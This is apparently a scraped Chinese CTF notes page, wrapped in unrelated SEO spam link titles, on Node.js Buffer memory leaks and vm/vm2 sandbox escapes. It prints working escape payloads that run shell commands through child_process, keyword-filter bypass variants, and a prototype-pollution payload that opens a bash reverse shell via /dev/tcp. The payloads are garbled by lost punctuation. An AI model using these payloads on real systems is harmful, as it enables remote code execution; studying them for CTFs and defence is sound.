当前位置: 首页 > news >正文

网站服务费做管理费用广东网站建设微信官网开发

网站服务费做管理费用,广东网站建设微信官网开发,怎么自己做优惠券网站,深圳苍松大厦 网站建设Buffer 在较早一点的node.js版本中 (8.0 之前)#xff0c;当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer#xff0c;并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。 注#xff1a;关…Buffer 在较早一点的node.js版本中 (8.0 之前)当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。 注关于 BufferJavaScript 语言自身只有字符串数据类型没有二进制数据类型。但在处理像TCP流或文件流时必须使用到二进制数据。因此在 Node.js中定义了一个 Buffer 类该类用来创建一个专门存放二进制数据的缓存区。只要是调用过的变量一定会存在内存中所以可以使用Buffer()来读取内存获取之前调用过的变了数据比如flag 例题 [[24-3.24-wp#[HITCON 2016]Leaking]] vm 参考文章 vm2 vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp。链接Issues · patriksimek/vm2 · GitHub payload payload1 (function(){TypeError.prototype.get_process ff.constructor(return process)();try{Object.preventExtensions(Buffer.from()).a 1;}catch(e){return e.get_process((){}).mainModule.require(child_process).execSync(cat /flag).toString();} })()payload2 (function(){try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw ff.constructor(return process)();}}));}catch(e){return e((){}).mainModule.require(child_process).execSync(whoami).toString();} })()exp exp1 use strict; const {VM} require(vm2); const untrusted ( function(){TypeError.prototype.get_process ff.constructor(return process)();try{Object.preventExtensions(Buffer.from()).a 1;}catch(e){return e.get_process((){}).mainModule.require(child_process).execSync(whoami).toString();} })(); try{console.log(new VM().run(untrusted)); }catch(x){console.log(x); }exp2 use strict; const {VM} require(vm2); const untrusted ( function(){try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw ff.constructor(return process)();}}));}catch(e){return e((){}).mainModule.require(child_process).execSync(whoami).toString();} })(); try{console.log(new VM().run(untrusted)); }catch(x){console.log(x); } 绕过 来源[HFCTF2020]JustEscape NodeJS模板字符串 例如 console.log(prototype) //prototype console.log(${prototyp}e) //prototype console.log(${${prototyp}e}) //prototype通过这种嵌套的方式绕过字符串过滤 payload1 (function (){TypeError[${${prototyp}e}][${${get_pro}cess}] ff[${${constructo}r}](${${return proc}ess})();try{Object.preventExtensions(Buffer.from()).a 1;}catch(e){return e[${${get_pro}cess}]((){}).mainModule[${${requir}e}](${${child_proces}s})[${${exe}cSync}](cat /flag).toString();} })()join拼接字符串 payload2 ((){ TypeError[[p,r,o,t,o,t,y,p,e][join]()][a] ff[[c,o,n,s,t,r,u,c,t,o,r][join]()]([r,e,t,u,r,n, ,p,r,o,c,e,s,s][join]())(); try{ Object[preventExtensions](Buffer[from]())[a] 1; }catch(e){ return e[a]((){})[mainModule][[r,e,q,u,i,r,e][join]()]([c,h,i,l,d,_,p,r,o,c,e,s,s][join]())[[e,x,e,c,S,y,n,c][join]()](cat /flag)[toString](); } })()数组 当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制 vm2 原型链污染导致沙箱逃逸 [HZNUCTF 2023 final]eznode poc let res import(./app.js) res.toString.constructor(return this)().process.mainModule.require(child_process).execSync(whoami).toString();{shit:shit,__proto__:{shellcode:let res import(./app.js); res.toString.constructor(\return this\) ().process.mainModule.require(\child_process\).execSync(bash -c \bash -i /dev/tcp/ip/port 01\).toString();} } 参考 https://blog.csdn.net/qq_61839115/article/details/132120985 https://xz.aliyun.com/t/11859#toc-0
http://www.zqtcl.cn/news/411055/

相关文章:

  • 襄阳企业网站建设免费行情的软件入口下载
  • 对百度网站进行分析中国机械加工网18易0下6拉en
  • 一般做网站都在什么网做wordpress轮播图设置
  • 深圳装饰公司网站thinkphp 网站根目录地址
  • 购物网站建设资讯原创文章代写
  • 门票预订网站建设wordpress siren主题
  • 单位建设网站装修公司需要什么资质
  • 做做做网站做网站赚外快
  • 网站备案后应该做什么网站流量监测
  • 开发网站用什么语言做名片的网站叫什么来着
  • 织梦做网站好不好iis中的网站启动不了
  • 临汾住房与城乡建设厅网站迎访问中国建设银行网站_
  • 织梦做的网站首页幻灯片怎么不能显示北大青鸟网站建设课程
  • 做淘客的网站有哪些延安市住建建设网站
  • 南京林业大学实验与建设网站现在都用什么软件搜索附近的人
  • 建站系统wordpress下载亚马逊雨林十大恐怖生物
  • 凡科网做网站怎么样专业团队电影
  • 有什么有趣的网站移动网站排名怎么做
  • 深圳网站建设专家wordpress 4.5下载地址
  • 网站建设公司公司我我提供一个平台wordpress如何去版权信息
  • seo怎么给网站做外链受欢迎的网站建设教程
  • 网站建设使用多语言河南电商网站设计
  • 网站搭建有免费的吗网站地图生成代码
  • 建设公司网站要注意什么投资小利润高的小生意
  • 网站建设需要做哪些工作做胃镜需那好天津津门网站A
  • 做网站申请域名的流程辽宁省工程造价网
  • 网站系统维护一般多长时间金华高端网站设计
  • 做网站公司销售开场白企业网站规划与开发
  • 兰州新区建站不锈钢网站建设
  • 淘宝小网站怎么做的电商网站有哪些